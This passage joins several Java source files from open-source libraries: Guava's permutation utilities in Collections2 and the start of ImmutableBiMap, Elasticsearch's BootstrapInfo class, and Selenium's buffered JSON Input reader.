* @param c a collection whose elements might be contained by {@code self}
*/
static boolean containsAllImpl(Collection<?> self, Collection<?> c) {
for (Object o : c) {
if (!self.contains(o)) {
return false;
}
}
return true;
}
/** An implementation of {@link Collection#toString()}. */
static String toStringImpl(final Collection<?> collection) {
StringBuilder sb = newStringBuilderForCollection(collection.size()).append('[');
boolean first = true;
for (Object o : collection) {
if (!first) {
sb.append(", ");
}
first = false;
if (o == collection) {
sb.append("(this Collection)");
} else {
sb.append(o);
}
}
return sb.append(']').toString();
}
/** Returns best-effort-sized StringBuilder based on the given collection size. */
static StringBuilder newStringBuilderForCollection(int size) {
checkNonnegative(size, "size");
return new StringBuilder((int) Math.min(size * 8L, Ints.MAX_POWER_OF_TWO));
}
/**
* Returns a {@link Collection} of all the permutations of the specified {@link Iterable}.
*
* <p><i>Notes:</i> This is an implementation of the algorithm for Lexicographical Permutations
* Generation, described in Knuth's "The Art of Computer Programming", Volume 4, Chapter 7,
* Section 7.2.1.2. The iteration order follows the lexicographical order. This means that the
* first permutation will be in ascending order, and the last will be in descending order.
*
* <p>Duplicate elements are considered equal. For example, the list [1, 1] will have only one
* permutation, instead of two. This is why the elements have to implement {@link Comparable}.
*
* <p>An empty iterable has only one permutation, which is an empty list.
*
* <p>This method is equivalent to {@code Collections2.orderedPermutations(list,
* Ordering.natural())}.
*
* @param elements the original iterable whose elements have to be permuted.
* @return an immutable {@link Collection} containing all the different permutations of the
* original iterable.
* @throws NullPointerException if the specified iterable is null or has any null elements.
* @since 12.0
*/
public static <E extends Comparable<? super E>> Collection<List<E>> orderedPermutations(
Iterable<E> elements) {
return orderedPermutations(elements, Ordering.natural());
}
/**
* Returns a {@link Collection} of all the permutations of the specified {@link Iterable} using
* the specified {@link Comparator} for establishing the lexicographical ordering.
*
* <p>Examples:
*
* <pre>{@code
* for (List<String> perm : orderedPermutations(asList("b", "c", "a"))) {
* println(perm);
* }
* // -> ["a", "b", "c"]
* // -> ["a", "c", "b"]
* // -> ["b", "a", "c"]
* // -> ["b", "c", "a"]
* // -> ["c", "a", "b"]
* // -> ["c", "b", "a"]
*
* for (List<Integer> perm : orderedPermutations(asList(1, 2, 2, 1))) {
* println(perm);
* }
* // -> [1, 1, 2, 2]
* // -> [1, 2, 1, 2]
* // -> [1, 2, 2, 1]
* // -> [2, 1, 1, 2]
* // -> [2, 1, 2, 1]
* // -> [2, 2, 1, 1]
* }</pre>
*
* <p><i>Notes:</i> This is an implementation of the algorithm for Lexicographical Permutations
* Generation, described in Knuth's "The Art of Computer Programming", Volume 4, Chapter 7,
* Section 7.2.1.2. The iteration order follows the lexicographical order. This means that the
* first permutation will be in ascending order, and the last will be in descending order.
*
* <p>Elements that compare equal are considered equal and no new permutations are created by
* swapping them.
*
* <p>An empty iterable has only one permutation, which is an empty list.
*
* @param elements the original iterable whose elements have to be permuted.
* @param comparator a comparator for the iterable's elements.
* @return an immutable {@link Collection} containing all the different permutations of the
* original iterable.
* @throws NullPointerException If the specified iterable is null, has any null elements, or if
* the specified comparator is null.
* @since 12.0
*/
public static <E> Collection<List<E>> orderedPermutations(
Iterable<E> elements, Comparator<? super E> comparator) {
return new OrderedPermutationCollection<E>(elements, comparator);
}
private static final class OrderedPermutationCollection<E> extends AbstractCollection<List<E>> {
final ImmutableList<E> inputList;
final Comparator<? super E> comparator;
final int size;
OrderedPermutationCollection(Iterable<E> input, Comparator<? super E> comparator) {
this.inputList = ImmutableList.sortedCopyOf(comparator, input);
this.comparator = comparator;
this.size = calculateSize(inputList, comparator);
}
/**
* The number of permutations with repeated elements is calculated as follows:
*
* <ul>
* <li>For an empty list, it is 1 (base case).
* <li>When r numbers are added to a list of n-r elements, the number of permutations is
* increased by a factor of (n choose r).
* </ul>
*/
private static <E> int calculateSize(
List<E> sortedInputList, Comparator<? super E> comparator) {
int permutations = 1;
int n = 1;
int r = 1;
while (n < sortedInputList.size()) {
int comparison = comparator.compare(sortedInputList.get(n - 1), sortedInputList.get(n));
if (comparison < 0) {
// We move to the next non-repeated element.
permutations = IntMath.saturatedMultiply(permutations, IntMath.binomial(n, r));
r = 0;
if (permutations == Integer.MAX_VALUE) {
return Integer.MAX_VALUE;
}
}
n++;
r++;
}
return IntMath.saturatedMultiply(permutations, IntMath.binomial(n, r));
}
@Override
public int size() {
return size;
}
@Override
public boolean isEmpty() {
return false;
}
@Override
public Iterator<List<E>> iterator() {
return new OrderedPermutationIterator<E>(inputList, comparator);
}
@Override
public boolean contains(@CheckForNull Object obj) {
if (obj instanceof List) {
List<?> list = (List<?>) obj;
return isPermutation(inputList, list);
}
return false;
}
@Override
public String toString() {
return "orderedPermutationCollection(" + inputList + ")";
}
}
private static final class OrderedPermutationIterator<E> extends AbstractIterator<List<E>> {
@CheckForNull List<E> nextPermutation;
final Comparator<? super E> comparator;
OrderedPermutationIterator(List<E> list, Comparator<? super E> comparator) {
this.nextPermutation = Lists.newArrayList(list);
this.comparator = comparator;
}
@Override
@CheckForNull
protected List<E> computeNext() {
if (nextPermutation == null) {
return endOfData();
}
ImmutableList<E> next = ImmutableList.copyOf(nextPermutation);
calculateNextPermutation();
return next;
}
void calculateNextPermutation() {
int j = findNextJ();
if (j == -1) {
nextPermutation = null;
return;
}
/*
* requireNonNull is safe because we don't clear nextPermutation until we're done calling this
* method.
*/
requireNonNull(nextPermutation);
int l = findNextL(j);
Collections.swap(nextPermutation, j, l);
int n = nextPermutation.size();
Collections.reverse(nextPermutation.subList(j + 1, n));
}
int findNextJ() {
/*
* requireNonNull is safe because we don't clear nextPermutation until we're done calling this
* method.
*/
requireNonNull(nextPermutation);
for (int k = nextPermutation.size() - 2; k >= 0; k--) {
if (comparator.compare(nextPermutation.get(k), nextPermutation.get(k + 1)) < 0) {
return k;
}
}
return -1;
}
int findNextL(int j) {
/*
* requireNonNull is safe because we don't clear nextPermutation until we're done calling this
* method.
*/
requireNonNull(nextPermutation);
E ak = nextPermutation.get(j);
for (int l = nextPermutation.size() - 1; l > j; l--) {
if (comparator.compare(ak, nextPermutation.get(l)) < 0) {
return l;
}
}
throw new AssertionError("this statement should be unreachable");
}
}
/**
* Returns a {@link Collection} of all the permutations of the specified {@link Collection}.
*
* <p><i>Notes:</i> This is an implementation of the Plain Changes algorithm for permutations
* generation, described in Knuth's "The Art of Computer Programming", Volume 4, Chapter 7,
* Section 7.2.1.2.
*
* <p>If the input list contains equal elements, some of the generated permutations will be equal.
*
* <p>An empty collection has only one permutation, which is an empty list.
*
* @param elements the original collection whose elements have to be permuted.
* @return an immutable {@link Collection} containing all the different permutations of the
* original collection.
* @throws NullPointerException if the specified collection is null or has any null elements.
* @since 12.0
*/
public static <E> Collection<List<E>> permutations(Collection<E> elements) {
return new PermutationCollection<E>(ImmutableList.copyOf(elements));
}
private static final class PermutationCollection<E> extends AbstractCollection<List<E>> {
final ImmutableList<E> inputList;
PermutationCollection(ImmutableList<E> input) {
this.inputList = input;
}
@Override
public int size() {
return IntMath.factorial(inputList.size());
}
@Override
public boolean isEmpty() {
return false;
}
@Override
public Iterator<List<E>> iterator() {
return new PermutationIterator<E>(inputList);
}
@Override
public boolean contains(@CheckForNull Object obj) {
if (obj instanceof List) {
List<?> list = (List<?>) obj;
return isPermutation(inputList, list);
}
return false;
}
@Override
public String toString() {
return "permutations(" + inputList + ")";
}
}
private static class PermutationIterator<E> extends AbstractIterator<List<E>> {
final List<E> list;
final int[] c;
final int[] o;
int j;
PermutationIterator(List<E> list) {
this.list = new ArrayList<>(list);
int n = list.size();
c = new int[n];
o = new int[n];
Arrays.fill(c, 0);
Arrays.fill(o, 1);
j = Integer.MAX_VALUE;
}
@Override
@CheckForNull
protected List<E> computeNext() {
if (j <= 0) {
return endOfData();
}
ImmutableList<E> next = ImmutableList.copyOf(list);
calculateNextPermutation();
return next;
}
void calculateNextPermutation() {
j = list.size() - 1;
int s = 0;
// Handle the special case of an empty list. Skip the calculation of the
// next permutation.
if (j == -1) {
return;
}
while (true) {
int q = c[j] + o[j];
if (q < 0) {
switchDirection();
continue;
}
if (q == j + 1) {
if (j == 0) {
break;
}
s++;
switchDirection();
continue;
}
Collections.swap(list, j - c[j] + s, j - q + s);
c[j] = q;
break;
}
}
void switchDirection() {
o[j] = -o[j];
j--;
}
}
/** Returns {@code true} if the second list is a permutation of the first. */
private static boolean isPermutation(List<?> first, List<?> second) {
if (first.size() != second.size()) {
return false;
}
Multiset<?> firstMultiset = HashMultiset.create(first);
Multiset<?> secondMultiset = HashMultiset.create(second);
return firstMultiset.equals(secondMultiset);
}
}
| google/guava | guava/src/com/google/common/collect/Collections2.java |
1,353 | /*
* Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
* or more contributor license agreements. Licensed under the Elastic License
* 2.0 and the Server Side Public License, v 1; you may not use this file except
* in compliance with, at your election, the Elastic License 2.0 or the Server
* Side Public License, v 1.
*/
package org.elasticsearch.bootstrap;
import org.apache.lucene.util.SetOnce;
import org.elasticsearch.core.Nullable;
import org.elasticsearch.core.SuppressForbidden;
import java.util.Dictionary;
import java.util.Enumeration;
/**
* Exposes system startup information
*/
@SuppressForbidden(reason = "exposes read-only view of system properties")
public final class BootstrapInfo {
private static final SetOnce<ConsoleLoader.Console> console = new SetOnce<>();
/** no instantiation */
private BootstrapInfo() {}
/**
* Returns true if we successfully loaded native libraries.
* <p>
* If this returns false, then native operations such as locking
* memory did not work.
*/
public static boolean isNativesAvailable() {
return Natives.JNA_AVAILABLE;
}
/**
* Returns true if we were able to lock the process's address space.
*/
public static boolean isMemoryLocked() {
return Natives.isMemoryLocked();
}
/**
* Returns true if system call filter is installed (supported systems only)
*/
public static boolean isSystemCallFilterInstalled() {
return Natives.isSystemCallFilterInstalled();
}
/**
* Returns information about the console (tty) attached to the server process, or {@code null}
* if no console is attached.
*/
@Nullable
public static ConsoleLoader.Console getConsole() {
return console.get();
}
/**
* codebase location for untrusted scripts (provide some additional safety)
* <p>
* This is not a full URL, just a path.
*/
public static final String UNTRUSTED_CODEBASE = "/untrusted";
/**
* A non-printable character denoting the server is ready to process requests.
*
* This is sent over stderr to the controlling CLI process.
*/
public static final char SERVER_READY_MARKER = '\u0018';
/**
* A non-printable character denoting the server should shut itself down.
*
* This is sent over stdin from the controlling CLI process.
*/
public static final char SERVER_SHUTDOWN_MARKER = '\u001B';
// create a view of sysprops map that does not allow modifications
// this must be done this way (e.g. versus an actual typed map), because
// some test methods still change properties, so whitelisted changes must
// be reflected in this view.
private static final Dictionary<Object, Object> SYSTEM_PROPERTIES;
static {
final Dictionary<Object, Object> sysprops = System.getProperties();
SYSTEM_PROPERTIES = new Dictionary<Object, Object>() {
@Override
public int size() {
return sysprops.size();
}
@Override
public boolean isEmpty() {
return sysprops.isEmpty();
}
@Override
public Enumeration<Object> keys() {
return sysprops.keys();
}
@Override
public Enumeration<Object> elements() {
return sysprops.elements();
}
@Override
public Object get(Object key) {
return sysprops.get(key);
}
@Override
public Object put(Object key, Object value) {
throw new UnsupportedOperationException("treat system properties as immutable");
}
@Override
public Object remove(Object key) {
throw new UnsupportedOperationException("treat system properties as immutable");
}
};
}
/**
* Returns a read-only view of all system properties
*/
public static Dictionary<Object, Object> getSystemProperties() {
SecurityManager sm = System.getSecurityManager();
if (sm != null) {
sm.checkPropertyAccess("*");
}
return SYSTEM_PROPERTIES;
}
public static void init() {}
static void setConsole(@Nullable ConsoleLoader.Console console) {
BootstrapInfo.console.set(console);
}
}
| elastic/elasticsearch | server/src/main/java/org/elasticsearch/bootstrap/BootstrapInfo.java |
1,354 | // Licensed to the Software Freedom Conservancy (SFC) under one
// or more contributor license agreements. See the NOTICE file
// distributed with this work for additional information
// regarding copyright ownership. The SFC licenses this file
// to you under the Apache License, Version 2.0 (the
// "License"); you may not use this file except in compliance
// with the License. You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing,
// software distributed under the License is distributed on an
// "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
// KIND, either express or implied. See the License for the
// specific language governing permissions and limitations
// under the License.
package org.openqa.selenium.json;
import java.io.IOException;
import java.io.Reader;
import java.io.UncheckedIOException;
import org.openqa.selenium.internal.Require;
/**
* Similar to a {@link Reader} but with the ability to peek a single character ahead.
*
* <p>For the sake of providing a useful {@link #toString()} implementation, keeps the most recently
* read characters in the input buffer.
*/
class Input {
/** end-of-file indicator (0xFFFD) */
public static final char EOF = (char) -1; // NOTE: Produces Unicode replacement character (0xFFFD)
/** the number of chars to buffer */
private static final int BUFFER_SIZE = 4096;
/** the number of chars to remember, safe to set to 0 */
private static final int MEMORY_SIZE = 128;
private final Reader source;
/** a buffer used to minimize read calls and to keep the chars to remember */
private final char[] buffer;
/** the filled area in the buffer */
private int filled;
/** the last position read in the buffer */
private int position;
/**
* Initialize a new instance of the {@link Input} class with the specified source.
*
* @param source {@link Reader} object that supplies the input to be processed
*/
public Input(Reader source) {
this.source = Require.nonNull("Source", source);
this.buffer = new char[BUFFER_SIZE + MEMORY_SIZE];
this.filled = 0;
this.position = -1;
}
/**
* Extract the next character from the input without consuming it.
*
* @return the next input character; {@link #EOF} if input is exhausted
*/
public char peek() {
return fill() ? buffer[position + 1] : EOF;
}
/**
* Read and consume the next character from the input.
*
* @return the next input character; {@link #EOF} if input is exhausted
*/
public char read() {
return fill() ? buffer[++position] : EOF;
}
/**
* Return a string containing the most recently consumed input characters.
*
* @return {@link String} with up to 128 consumed input characters
*/
@Override
public String toString() {
int offset;
int length;
if (position < MEMORY_SIZE) {
offset = 0;
length = position + 1;
} else {
offset = position + 1 - MEMORY_SIZE;
length = MEMORY_SIZE;
}
String last = "Last " + length + " characters read: " + new String(buffer, offset, length);
int next = Math.min(MEMORY_SIZE, filled - (offset + length));
if (next > 0) {
if (next > 128) {
next = 128;
}
return last
+ ", next "
+ next
+ " characters to read: "
+ new String(buffer, offset + length, next);
}
return last;
}
/**
* If all buffered input has been consumed, read the next chunk into the buffer.<br>
* <b>NOTE</b>: The last 128 character of consumed input is retained for debug output.
*
* @return {@code true} if new input is available; {@code false} if input is exhausted
* @throws UncheckedIOException if an I/O exception is encountered
*/
private boolean fill() {
// do we need to fill the buffer?
while (filled == position + 1) {
try {
// free the buffer, keep only the chars to remember
int shift = filled - MEMORY_SIZE;
if (shift > 0) {
position -= shift;
filled -= shift;
System.arraycopy(buffer, shift, buffer, 0, filled);
}
// try to fill the buffer
int n = source.read(buffer, filled, buffer.length - filled);
if (n == -1) {
// EOF reached
return false;
} else {
// n might be 0, the outer loop will handle this
filled += n;
}
} catch (IOException e) {
throw new UncheckedIOException(e.getMessage(), e);
}
}
return true;
}
}
| SeleniumHQ/selenium | java/src/org/openqa/selenium/json/Input.java |
1,355 | /*
* Copyright (C) 2008 The Guava Authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.common.collect;
import static com.google.common.base.Preconditions.checkState;
import static com.google.common.collect.CollectPreconditions.checkNonnegative;
import static java.util.Objects.requireNonNull;
import com.google.common.annotations.GwtCompatible;
import com.google.common.annotations.J2ktIncompatible;
import com.google.common.annotations.VisibleForTesting;
import com.google.errorprone.annotations.CanIgnoreReturnValue;
import com.google.errorprone.annotations.DoNotCall;
import java.io.InvalidObjectException;
import java.io.ObjectInputStream;
import java.util.Arrays;
import java.util.Comparator;
import java.util.Map;
import java.util.function.BinaryOperator;
import java.util.function.Function;
import java.util.stream.Collector;
import java.util.stream.Collectors;
import javax.annotation.CheckForNull;
import org.checkerframework.checker.nullness.qual.Nullable;
/**
* A {@link BiMap} whose contents will never change, with many other important properties detailed
* at {@link ImmutableCollection}.
*
* @author Jared Levy
* @since 2.0
*/
@GwtCompatible(serializable = true, emulated = true)
@ElementTypesAreNonnullByDefault
public abstract class ImmutableBiMap<K, V> extends ImmutableMap<K, V> implements BiMap<K, V> {
/**
* Returns a {@link Collector} that accumulates elements into an {@code ImmutableBiMap} whose keys
* and values are the result of applying the provided mapping functions to the input elements.
* Entries appear in the result {@code ImmutableBiMap} in encounter order.
*
* <p>If the mapped keys or values contain duplicates (according to {@link
* Object#equals(Object)}), an {@code IllegalArgumentException} is thrown when the collection
* operation is performed. (This differs from the {@code Collector} returned by {@link
* Collectors#toMap(Function, Function)}, which throws an {@code IllegalStateException}.)
*
* @since 21.0
*/
public static <T extends @Nullable Object, K, V>
Collector<T, ?, ImmutableBiMap<K, V>> toImmutableBiMap(
Function<? super T, ? extends K> keyFunction,
Function<? super T, ? extends V> valueFunction) {
return CollectCollectors.toImmutableBiMap(keyFunction, valueFunction);
}
/**
* Returns the empty bimap.
*
* <p><b>Performance note:</b> the instance returned is a singleton.
*/
// Casting to any type is safe because the set will never hold any elements.
@SuppressWarnings("unchecked")
public static <K, V> ImmutableBiMap<K, V> of() {
return (ImmutableBiMap<K, V>) RegularImmutableBiMap.EMPTY;
}
/** Returns an immutable bimap containing a single entry. */
public static <K, V> ImmutableBiMap<K, V> of(K k1, V v1) {
return new SingletonImmutableBiMap<>(k1, v1);
}
/**
* Returns an immutable map containing the given entries, in order.
*
* @throws IllegalArgumentException if duplicate keys or values are added
*/
public static <K, V> ImmutableBiMap<K, V> of(K k1, V v1, K k2, V v2) {
return RegularImmutableBiMap.fromEntries(entryOf(k1, v1), entryOf(k2, v2));
}
/**
* Returns an immutable map containing the given entries, in order.
*
* @throws IllegalArgumentException if duplicate keys or values are added
*/
public static <K, V> ImmutableBiMap<K, V> of(K k1, V v1, K k2, V v2, K k3, V v3) {
return RegularImmutableBiMap.fromEntries(entryOf(k1, v1), entryOf(k2, v2), entryOf(k3, v3));
}
/**
* Returns an immutable map containing the given entries, in order.
*
* @throws IllegalArgumentException if duplicate keys or values are added
*/
public static <K, V> ImmutableBiMap<K, V> of(K k1, V v1, K k2, V v2, K k3, V v3, K k4, V v4) {
return RegularImmutableBiMap.fromEntries(
entryOf(k1, v1), entryOf(k2, v2), entryOf(k3, v3), entryOf(k4, v4));
}
/**
* Returns an immutable map containing the given entries, in order.
*
* @throws IllegalArgumentException if duplicate keys or values are added
*/
public static <K, V> ImmutableBiMap<K, V> of(
K k1, V v1, K k2, V v2, K k3, V v3, K k4, V v4, K k5, V v5) {
return RegularImmutableBiMap.fromEntries(
entryOf(k1, v1), entryOf(k2, v2), entryOf(k3, v3), entryOf(k4, v4), entryOf(k5, v5));
}
/**
* Returns an immutable map containing the given entries, in order.
*
* @throws IllegalArgumentException if duplicate keys or values are added
* @since 31.0
*/
public static <K, V> ImmutableBiMap<K, V> of(
K k1, V v1, K k2, V v2, K k3, V v3, K k4, V v4, K k5, V v5, K k6, V v6) {
return RegularImmutableBiMap.fromEntries(
entryOf(k1, v1),
entryOf(k2, v2),
entryOf(k3, v3),
entryOf(k4, v4),
entryOf(k5, v5),
entryOf(k6, v6));
}
/**
* Returns an immutable map containing the given entries, in order.
*
* @throws IllegalArgumentException if duplicate keys or values are added
* @since 31.0
*/
public static <K, V> ImmutableBiMap<K, V> of(
K k1, V v1, K k2, V v2, K k3, V v3, K k4, V v4, K k5, V v5, K k6, V v6, K k7, V v7) {
return RegularImmutableBiMap.fromEntries(
entryOf(k1, v1),
entryOf(k2, v2),
entryOf(k3, v3),
entryOf(k4, v4),
entryOf(k5, v5),
entryOf(k6, v6),
entryOf(k7, v7));
}
/**
* Returns an immutable map containing the given entries, in order.
*
* @throws IllegalArgumentException if duplicate keys or values are added
* @since 31.0
*/
public static <K, V> ImmutableBiMap<K, V> of(
K k1,
V v1,
K k2,
V v2,
K k3,
V v3,
K k4,
V v4,
K k5,
V v5,
K k6,
V v6,
K k7,
V v7,
K k8,
V v8) {
return RegularImmutableBiMap.fromEntries(
entryOf(k1, v1),
entryOf(k2, v2),
entryOf(k3, v3),
entryOf(k4, v4),
entryOf(k5, v5),
entryOf(k6, v6),
entryOf(k7, v7),
entryOf(k8, v8));
}
/**
* Returns an immutable map containing the given entries, in order.
*
* @throws IllegalArgumentException if duplicate keys or values are added
* @since 31.0
*/
public static <K, V> ImmutableBiMap<K, V> of(
K k1,
V v1,
K k2,
V v2,
K k3,
V v3,
K k4,
V v4,
K k5,
V v5,
K k6,
V v6,
K k7,
V v7,
K k8,
V v8,
K k9,
V v9) {
return RegularImmutableBiMap.fromEntries(
entryOf(k1, v1),
entryOf(k2, v2),
entryOf(k3, v3),
entryOf(k4, v4),
entryOf(k5, v5),
entryOf(k6, v6),
entryOf(k7, v7),
entryOf(k8, v8),
entryOf(k9, v9));
}
/**
* Returns an immutable map containing the given entries, in order.
*
* @throws IllegalArgumentException if duplicate keys or values are added
* @since 31.0
*/
public static <K, V> ImmutableBiMap<K, V> of(
K k1,
V v1,
K k2,
V v2,
K k3,
V v3,
K k4,
V v4,
K k5,
V v5,
K k6,
V v6,
K k7,
V v7,
K k8,
V v8,
K k9,
V v9,
K k10,
V v10) {
return RegularImmutableBiMap.fromEntries(
entryOf(k1, v1),
entryOf(k2, v2),
entryOf(k3, v3),
entryOf(k4, v4),
entryOf(k5, v5),
entryOf(k6, v6),
entryOf(k7, v7),
entryOf(k8, v8),
entryOf(k9, v9),
entryOf(k10, v10));
}
// looking for of() with > 10 entries? Use the builder or ofEntries instead.
/**
* Returns an immutable map containing the given entries, in order.
*
* @throws IllegalArgumentException if duplicate keys or values are provided
* @since 31.0
*/
@SafeVarargs
public static <K, V> ImmutableBiMap<K, V> ofEntries(Entry<? extends K, ? extends V>... entries) {
@SuppressWarnings("unchecked") // we will only ever read these
Entry<K, V>[] entries2 = (Entry<K, V>[]) entries;
return RegularImmutableBiMap.fromEntries(entries2);
}
/**
* Returns a new builder. The generated builder is equivalent to the builder created by the {@link
* Builder} constructor.
*/
public static <K, V> Builder<K, V> builder() {
return new Builder<>();
}
/**
* Returns a new builder, expecting the specified number of entries to be added.
*
* <p>If {@code expectedSize} is exactly the number of entries added to the builder before {@link
* Builder#build} is called, the builder is likely to perform better than an unsized {@link
* #builder()} would have.
*
* <p>It is not specified if any performance benefits apply if {@code expectedSize} is close to,
* but not exactly, the number of entries added to the builder.
*
* @since 23.1
*/
public static <K, V> Builder<K, V> builderWithExpectedSize(int expectedSize) {
checkNonnegative(expectedSize, "expectedSize");
return new Builder<>(expectedSize);
}
/**
* A builder for creating immutable bimap instances, especially {@code public static final} bimaps
* ("constant bimaps"). Example:
*
* <pre>{@code
* static final ImmutableBiMap<String, Integer> WORD_TO_INT =
* new ImmutableBiMap.Builder<String, Integer>()
* .put("one", 1)
* .put("two", 2)
* .put("three", 3)
* .buildOrThrow();
* }</pre>
*
* <p>For <i>small</i> immutable bimaps, the {@code ImmutableBiMap.of()} methods are even more
* convenient.
*
* <p>By default, a {@code Builder} will generate bimaps that iterate over entries in the order
* they were inserted into the builder. For example, in the above example, {@code
* WORD_TO_INT.entrySet()} is guaranteed to iterate over the entries in the order {@code "one"=1,
* "two"=2, "three"=3}, and {@code keySet()} and {@code values()} respect the same order. If you
* want a different order, consider using {@link #orderEntriesByValue(Comparator)}, which changes
* this builder to sort entries by value.
*
* <p>Builder instances can be reused - it is safe to call {@link #buildOrThrow} multiple times to
* build multiple bimaps in series. Each bimap is a superset of the bimaps created before it.
*
* @since 2.0
*/
public static final class Builder<K, V> extends ImmutableMap.Builder<K, V> {
/**
* Creates a new builder. The returned builder is equivalent to the builder generated by {@link
* ImmutableBiMap#builder}.
*/
public Builder() {}
Builder(int size) {
super(size);
}
/**
* Associates {@code key} with {@code value} in the built bimap. Duplicate keys or values are
* not allowed, and will cause {@link #build} to fail.
*/
@CanIgnoreReturnValue
@Override
public Builder<K, V> put(K key, V value) {
super.put(key, value);
return this;
}
/**
* Adds the given {@code entry} to the bimap. Duplicate keys or values are not allowed, and will
* cause {@link #build} to fail.
*
* @since 19.0
*/
@CanIgnoreReturnValue
@Override
public Builder<K, V> put(Entry<? extends K, ? extends V> entry) {
super.put(entry);
return this;
}
/**
* Associates all of the given map's keys and values in the built bimap. Duplicate keys or
* values are not allowed, and will cause {@link #build} to fail.
*
* @throws NullPointerException if any key or value in {@code map} is null
*/
@CanIgnoreReturnValue
@Override
public Builder<K, V> putAll(Map<? extends K, ? extends V> map) {
super.putAll(map);
return this;
}
/**
* Adds all of the given entries to the built bimap. Duplicate keys or values are not allowed,
* and will cause {@link #build} to fail.
*
* @throws NullPointerException if any key, value, or entry is null
* @since 19.0
*/
@CanIgnoreReturnValue
@Override
public Builder<K, V> putAll(Iterable<? extends Entry<? extends K, ? extends V>> entries) {
super.putAll(entries);
return this;
}
/**
* Configures this {@code Builder} to order entries by value according to the specified
* comparator.
*
* <p>The sort order is stable, that is, if two entries have values that compare as equivalent,
* the entry that was inserted first will be first in the built map's iteration order.
*
* @throws IllegalStateException if this method was already called
* @since 19.0
*/
@CanIgnoreReturnValue
@Override
public Builder<K, V> orderEntriesByValue(Comparator<? super V> valueComparator) {
super.orderEntriesByValue(valueComparator);
return this;
}
@Override
@CanIgnoreReturnValue
Builder<K, V> combine(ImmutableMap.Builder<K, V> builder) {
super.combine(builder);
return this;
}
/**
* Returns a newly-created immutable bimap. The iteration order of the returned bimap is the
* order in which entries were inserted into the builder, unless {@link #orderEntriesByValue}
* was called, in which case entries are sorted by value.
*
* <p>Prefer the equivalent method {@link #buildOrThrow()} to make it explicit that the method
* will throw an exception if there are duplicate keys or values. The {@code build()} method
* will soon be deprecated.
*
* @throws IllegalArgumentException if duplicate keys or values were added
*/
@Override
public ImmutableBiMap<K, V> build() {
return buildOrThrow();
}
/**
* Returns a newly-created immutable bimap, or throws an exception if any key or value was added
* more than once. The iteration order of the returned bimap is the order in which entries were
* inserted into the builder, unless {@link #orderEntriesByValue} was called, in which case
* entries are sorted by value.
*
* @throws IllegalArgumentException if duplicate keys or values were added
* @since 31.0
*/
@Override
public ImmutableBiMap<K, V> buildOrThrow() {
switch (size) {
case 0:
return of();
case 1:
// requireNonNull is safe because the first `size` elements have been filled in.
Entry<K, V> onlyEntry = requireNonNull(entries[0]);
return of(onlyEntry.getKey(), onlyEntry.getValue());
default:
/*
* If entries is full, or if hash flooding is detected, then this implementation may end
* up using the entries array directly and writing over the entry objects with
* non-terminal entries, but this is safe; if this Builder is used further, it will grow
* the entries array (so it can't affect the original array), and future build() calls
* will always copy any entry objects that cannot be safely reused.
*/
if (valueComparator != null) {
if (entriesUsed) {
entries = Arrays.copyOf(entries, size);
}
Arrays.sort(
(Entry<K, V>[]) entries, // Entries up to size are not null
0,
size,
Ordering.from(valueComparator).onResultOf(Maps.valueFunction()));
}
entriesUsed = true;
return RegularImmutableBiMap.fromEntryArray(size, entries);
}
}
/**
* Throws {@link UnsupportedOperationException}. This method is inherited from {@link
* ImmutableMap.Builder}, but it does not make sense for bimaps.
*
* @throws UnsupportedOperationException always
* @deprecated This method does not make sense for bimaps and should not be called.
* @since 31.1
*/
@DoNotCall
@Deprecated
@Override
public ImmutableBiMap<K, V> buildKeepingLast() {
throw new UnsupportedOperationException("Not supported for bimaps");
}
@Override
@VisibleForTesting
ImmutableBiMap<K, V> buildJdkBacked() {
checkState(
valueComparator == null,
"buildJdkBacked is for tests only, doesn't support orderEntriesByValue");
switch (size) {
case 0:
return of();
case 1:
// requireNonNull is safe because the first `size` elements have been filled in.
Entry<K, V> onlyEntry = requireNonNull(entries[0]);
return of(onlyEntry.getKey(), onlyEntry.getValue());
default:
entriesUsed = true;
return RegularImmutableBiMap.fromEntryArray(size, entries);
}
}
}
/**
* Returns an immutable bimap containing the same entries as {@code map}. If {@code map} somehow
* contains entries with duplicate keys (for example, if it is a {@code SortedMap} whose
* comparator is not <i>consistent with equals</i>), the results of this method are undefined.
*
* <p>The returned {@code BiMap} iterates over entries in the same order as the {@code entrySet}
* of the original map.
*
* <p>Despite the method name, this method attempts to avoid actually copying the data when it is
* safe to do so. The exact circumstances under which a copy will or will not be performed are
* undocumented and subject to change.
*
* @throws IllegalArgumentException if two keys have the same value or two values have the same
* key
* @throws NullPointerException if any key or value in {@code map} is null
*/
public static <K, V> ImmutableBiMap<K, V> copyOf(Map<? extends K, ? extends V> map) {
if (map instanceof ImmutableBiMap) {
@SuppressWarnings("unchecked") // safe since map is not writable
ImmutableBiMap<K, V> bimap = (ImmutableBiMap<K, V>) map;
// TODO(lowasser): if we need to make a copy of a BiMap because the
// forward map is a view, don't make a copy of the non-view delegate map
if (!bimap.isPartialView()) {
return bimap;
}
}
return copyOf(map.entrySet());
}
/**
* Returns an immutable bimap containing the given entries. The returned bimap iterates over
* entries in the same order as the original iterable.
*
* @throws IllegalArgumentException if two keys have the same value or two values have the same
* key
* @throws NullPointerException if any key, value, or entry is null
* @since 19.0
*/
public static <K, V> ImmutableBiMap<K, V> copyOf(
Iterable<? extends Entry<? extends K, ? extends V>> entries) {
@SuppressWarnings("unchecked") // we'll only be using getKey and getValue, which are covariant
Entry<K, V>[] entryArray = (Entry<K, V>[]) Iterables.toArray(entries, EMPTY_ENTRY_ARRAY);
switch (entryArray.length) {
case 0:
return of();
case 1:
Entry<K, V> entry = entryArray[0];
return of(entry.getKey(), entry.getValue());
default:
/*
* The current implementation will end up using entryArray directly, though it will write
* over the (arbitrary, potentially mutable) Entry objects actually stored in entryArray.
*/
return RegularImmutableBiMap.fromEntries(entryArray);
}
}
ImmutableBiMap() {}
/**
* {@inheritDoc}
*
* <p>The inverse of an {@code ImmutableBiMap} is another {@code ImmutableBiMap}.
*/
@Override
public abstract ImmutableBiMap<V, K> inverse();
/**
